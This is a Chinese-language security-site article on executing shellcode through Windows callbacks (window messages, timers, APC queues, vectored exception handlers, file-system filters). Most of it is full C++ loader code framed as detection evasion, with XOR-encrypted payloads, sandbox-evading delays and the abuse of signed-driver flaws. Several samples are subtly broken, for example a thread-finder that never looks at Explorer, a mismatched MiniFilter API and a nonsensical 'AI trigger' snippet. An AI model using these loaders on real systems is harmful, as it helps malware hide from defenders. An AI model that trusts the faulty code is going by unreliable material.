freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用Windows回调函数机制执行Shellcode
2025-02-20 14:51:42
所属地 广东省

一、回调函数机制核心原理

Windows操作系统提供了多种回调函数机制,允许开发者在特定事件发生时执行自定义代码。攻击者可利用这些合法机制隐蔽地执行Shellcode,绕过传统检测方法。其核心优势包括:

  • 合法API调用:使用系统文档化接口

  • 无显式线程创建:避免CreateThread等敏感API

  • 深度伪装:与正常程序行为高度相似

二、窗口消息回调(WindowProc)

2.1 技术原理

通过创建隐藏窗口并处理特定消息触发Shellcode执行,利用窗口消息循环机制。

2.2 完整实现代码

cpp

#include <Windows.h>

BYTE shellcode[] = {0x90,0x90,0xCC,0xC3}; // NOP; NOP; INT3; RET

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    if (msg == WM_USER + 0x123) { // 自定义消息触发
        void (*func)() = (void(*)())shellcode;
        func();
    }
    return DefWindowProc(hWnd, msg, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow) {
    WNDCLASS wc = {0};
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInst;
    wc.lpszClassName = L"LegitWindowClass";
    
    RegisterClass(&wc);
    HWND hWnd = CreateWindow(wc.lpszClassName, L"", 0,0,0,0,0, NULL, NULL, hInst, NULL);
    
    // 发送自定义消息触发
    PostMessage(hWnd, WM_USER + 0x123, 0, 0);
    
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

技术优势

  • 完全基于窗口消息机制

  • 可长期潜伏等待触发

三、定时器回调(SetTimer)

3.1 技术原理

利用SetTimer创建定时器,在回调函数中执行Shellcode。

3.2 完整实现代码

cpp

#include <Windows.h>

BYTE encrypted_sc[] = {0xA5,0xB3,0xC7,...}; // 加密后的Shellcode
const BYTE xor_key = 0x5F;

VOID CALLBACK TimerProc(HWND hWnd, UINT msg, UINT_PTR idEvent, DWORD dwTime) {
    // 解密Shellcode
    for (int i=0; i<sizeof(encrypted_sc); i++)
        encrypted_sc[i] ^= xor_key;

    // 设置内存可执行
    DWORD oldProtect;
    VirtualProtect(encrypted_sc, sizeof(encrypted_sc), PAGE_EXECUTE_READ, &oldProtect);

    // 执行
    ((void(*)())encrypted_sc)();

    KillTimer(NULL, idEvent);
}

int main() {
    SetTimer(NULL, 1, 5000, TimerProc); // 5秒后触发
    
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

技术要点

  • 使用延迟触发规避沙箱检测

  • 运行时解密提升隐蔽性

四、异步过程调用(APC)

4.1 技术原理

通过QueueUserAPC将Shellcode注入到目标线程的APC队列。

4.2 完整实现代码

cpp

#include <Windows.h>
#include <TlHelp32.h>

BYTE shellcode[] = {0xC3}; // RET示例

DWORD FindExplorerThread() {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    
    THREADENTRY32 te = {sizeof(te)};
    Thread32First(snapshot, &te);
    
    do {
        if (te.th32OwnerProcessID == GetCurrentProcessId()) {
            pid = te.th32ThreadID;
            break;
        }
    } while(Thread32Next(snapshot, &te));
    
    CloseHandle(snapshot);
    return pid;
}

int main() {
    DWORD tid = FindExplorerThread();
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, tid);

    // 分配可执行内存
    LPVOID apcMem = VirtualAllocEx(GetCurrentProcess(), NULL, sizeof(shellcode), 
                                  MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(GetCurrentProcess(), apcMem, shellcode, sizeof(shellcode), NULL);

    QueueUserAPC((PAPCFUNC)apcMem, hThread, (ULONG_PTR)NULL);
    ResumeThread(hThread);
    
    CloseHandle(hThread);
    return 0;
}

技术优势

  • 无需创建新线程

  • 可注入高权限进程

五、异常处理回调(Vectored Exception Handler)

5.1 技术原理

注册向量化异常处理器,在异常触发时执行Shellcode。

5.2 完整实现代码

cpp

#include <Windows.h>
#include <excpt.h>

BYTE shellcode[] = {0xCC,0xC3}; // INT3; RET

LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
    if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
        // 修改EIP跳转到Shellcode
        pExc->ContextRecord->Rip = (DWORD64)shellcode;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    AddVectoredExceptionHandler(1, VectoredHandler);
    
    // 触发断点异常
    __debugbreak();
    
    return 0;
}

技术要点

  • 利用合法异常处理流程

  • 可结合内存断点实现精准触发

六、文件系统过滤回调(MiniFilter)

6.1 技术原理

通过文件系统过滤驱动在特定文件操作时触发Shellcode。

6.2 完整实现代码

cpp

#include <Windows.h>
#include <fltuser.h>

BYTE shellcode[] = {0xC3}; // RET示例

HRESULT FileCreateCallback(
    __in PFILE_NOTIFY_INFORMATION pInfo
) {
    if (pInfo->Action == FILE_ACTION_ADDED) {
        ((void(*)())shellcode)();
    }
    return S_OK;
}

int main() {
    HANDLE hPort;
    FilterConnectCommunicationPort(L"\\FilePort", 0, NULL, 0, NULL, &hPort);
    
    FILE_NOTIFY_INFORMATION info;
    while (FilterGetMessage(hPort, &info, sizeof(info), NULL)) {
        FileCreateCallback(&info);
    }
    
    CloseHandle(hPort);
    return 0;
}

注意事项

  • 需要管理员权限注册过滤器

  • 需签名驱动(可结合已签名驱动漏洞)

七、综合防御方案

7.1 检测技术

攻击类型检测方法
窗口消息监控非常用消息号处理例程
APC注入检测跨进程APC注入行为
异常处理分析非标准VEH注册

7.2 防护建议

powershell

# 启用攻击面减少规则
Set-MpPreference -AttackSurfaceReductionRules_Ids <规则ID> -AttackSurfaceReductionRules_Actions Enabled

# 监控异常回调注册
New-EventLog -LogName System -Source "CallbackGuard"
Write-EventLog -LogName System -Source "CallbackGuard" -EntryType Warning `
  -EventId 8001 -Message "检测到异常回调注册"

八、技术演进方向

  1. AI驱动触发

    # 动态选择最佳触发时机
    import torch
    model = torch.load('trigger_predictor.pth')
    trigger_time = model.predict(system_state)
  2. 硬件级隐蔽

    • 利用Intel VT-x实现透明触发

    • 基于AMD SEV的内存加密执行

  3. 跨平台适配

    // Linux信号处理
    signal(SIGSEGV, shellcode_handler)

九、法律声明

  1. 本文所述技术仅限用于授权安全研究

  2. 未经许可实施攻击违反《网络安全法》

# 网络安全 # windows
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录